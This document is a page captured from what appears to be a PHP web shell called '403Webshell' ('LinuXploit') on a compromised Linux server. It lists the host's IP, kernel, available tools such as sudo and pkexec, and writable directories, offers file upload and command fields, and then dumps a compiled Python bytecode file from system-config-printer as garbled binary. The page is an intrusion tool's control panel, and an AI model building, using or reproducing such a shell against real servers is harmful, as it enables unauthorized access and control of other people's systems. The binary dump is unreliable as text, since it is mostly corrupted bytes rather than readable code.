403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/__pycache__/asyncconn.cpython-310.pyc
o

3�bd&�@s�ddlZddlZddlTddlZGdd�de�ZGdd�d�ZGdd�de�Zed	krZdd
lm	Z	e
d�Gdd
�d
�Zed�Ze	�
�Ze��e��ed�Ze��e��dSdS)�N)�*c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�SemanticOperationscCs
g|_dS�N)�_operation_stack��self�r�-/usr/share/system-config-printer/asyncconn.py�__init__s
zSemanticOperations.__init__cCs|j�|�dSr)r�append)r�	operationrrr	�_begin_operation"�z#SemanticOperations._begin_operationcCs|j��dSr)r�poprrrr	�_end_operation%�z!SemanticOperations._end_operationcCs"z|jdWStyYdSw)Nr)r�
IndexErrorrrrr	�current_operation(s
�z$SemanticOperations.current_operationN)�__name__�
__module__�__qualname__r
r
rrrrrr	rs
rc@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�_AsyncMethodCallcCs.||_||_||_||_d|_td|�dS)NF�+%s)�_fn�_reply_handler�_error_handler�
_auth_handler�
_destroyed�
debugprint)r�fn�
reply_handler�
error_handler�auth_handlerrrr	r
3sz_AsyncMethodCall.__init__cCstd|�dS�Nz-%s)rrrrr	�__del__;rz_AsyncMethodCall.__del__cCsD|jrdStd|�d|_d|_d|_d|_d|_d|_d|_dS�N�DESTROY: %sT)rrrrr�_reply_data�_error_data�
_auth_datarrrr	�destroy>s
z_AsyncMethodCall.destroycOsh|�d�|_|�d�|_|�d�|_|j|d<|j|d<|j|d<td||jf�|j|i|��dS)Nr r!r"z%s: calling %s)	�getr'r(r)r r!r"rr)r�args�kwdsrrr	�runKs


z_AsyncMethodCall.runcG�6|jstd||jf�|j||jg|�R�dSdS)Nz%s: to reply_handler at %s)rrrr'�rr,rrr	r U���z_AsyncMethodCall.reply_handlercGr/)Nz%s: to error_handler at %s)rrrr(r0rrr	r![r1z_AsyncMethodCall.error_handlercGr/)Nz%s: to auth_handler at %s)rrr�	auth_datar0rrr	r"ar1z_AsyncMethodCall.auth_handlerN)
rrrr
r$r*r.r r!r"rrrr	r2s

rcsdeZdZ			d�fdd�	Zdd�Zdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Z�ZS)�
ConnectionNTc
svtt����d�_|durt��}|�d�s|dko t��dk}
��fdd�}��fdd�}��fd	d
�}
|
rQ|rQt	d�ddl
}|j||||||d�}|�_nt	d
�ddl
}|j|||
||||||	�d�
}|�_t�jj�}t�jj�}g}t�j�D].}|�d�r�q~t�j|�}t|�|kr�t|�|kr�q~t�|�s�t�|��|��|�|�q~|�_g�_t	d��dS)NF�/�	localhostrc���d�|�dSr)�_subst_reply_handler)�conn�reply)r rrr	�subst_reply_handlerz�z0Connection.__init__.<locals>.subst_reply_handlercr6r)�_subst_error_handler)r8�exc)r!rrr	�subst_error_handler}r;z0Connection.__init__.<locals>.subst_error_handlercs��d�|||�dSr)�_subst_auth_handler)�promptr8�method�resource)r"rrr	�subst_auth_handler�sz/Connection.__init__.<locals>.subst_auth_handlerzUsing polkit-1 connection class)r r!�host�port�
encryption�parentzUsing IPP connection class)
r r!r"rDrErFrG�try_as_root�prompt_allowed�semantic�_r)�superr3r
r�cups�	getServer�
startswith�os�getuidr�asyncpk1�
PK1Connection�_conn�asyncipp�IPPAuthConnection�type�getPrinters�
getDevices�dir�getattr�hasattr�setattr�
_make_bindingr�	_bindings�_methodcalls)rr r!r"rDrErFrGrHrI�use_pkr:r>rCrR�crU�
methodtype�instancemethodtype�bindings�fnamer��	__class__)r"r!r rr	r
msb
���	


�zConnection.__init__cC�t�d|�dSr#��debugrrrrr	r$�r;zConnection.__del__cCsbtd|�d|_z|j��Wn	tyYnw|jD]}|��q|jD]}t||�q'dSr%)rrrTr*�AttributeErrorr`r_�delattr)r�
methodcall�bindingrrr	r*�s�


�zConnection.destroycs��fdd�S)Ncs�j�g|�Ri|��Sr)�_call_function)r,r-�rrrr	�<lambda>�sz*Connection._make_binding.<locals>.<lambda>r)rrrrqr	r^�rzConnection._make_bindingcOs4t||j|j|j�}|j�|�|j|i|��dSr)rr7r<r?r`rr.)rrr,r-rnrrr	rp�s�zConnection._call_functioncG�b|r|��|j�|�}|j|=|dd�}|r-|js/td||f�||g|�R�dSdSdS�N��%s: chaining up to %s�r*r`�indexrr)rrnr r,�irrr	r7��
�zConnection._subst_reply_handlercGrsrtrw)rrnr!r,ryrrr	r<�rzzConnection._subst_error_handlercCsT|r|��|j�|�}|j|=|r&|js(td||f�|||||�dSdSdS)Nrvrw)rrnr"r@rArBryrrr	r?�s
�zConnection._subst_auth_handlercCs|j�|�dS)z*Call this from your auth_handler function.N)�thread�
set_auth_info)r�passwordrrr	r|�szConnection.set_auth_info)	NNNNNNNTT)
rrrr
r$r*r^rpr7r<r?r|�
__classcell__rrrgr	r3ls�>

	r3�__main__)�GObjectTc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�TestcCst�|_||_td|�dS)Nr)r3rT�_quitr)r�quitrrr	r
�sz
Test.__init__cCrir#rjrrrr	r$�r;zTest.__del__cCs,td|�|j��|jrt��dSdS)Nr&)rrTr*r��loopr�rrrr	r*�s

�zTest.destroycCs|jj|j|jd�dS)N)r r!)rTrY�getDevices_reply�getDevices_errorrrrr	rY�s

�zTest.getDevicescCst||�|��dSr)�printr*)rr8�resultrrr	r�s
zTest.getDevices_replycCstt|��|��dSr)r��reprr*)rr8r=rrr	r�szTest.getDevices_errorN)	rrrr
r$r*rYr�r�rrrr	r��sr�F)rMrPrk�objectrrr3r�
gi.repositoryr��
set_debuggingr��t�MainLoopr�rYr*r.rrrr	�<module>s&:|�

Youez - 2016 - github.com/yon3zu
LinuXploit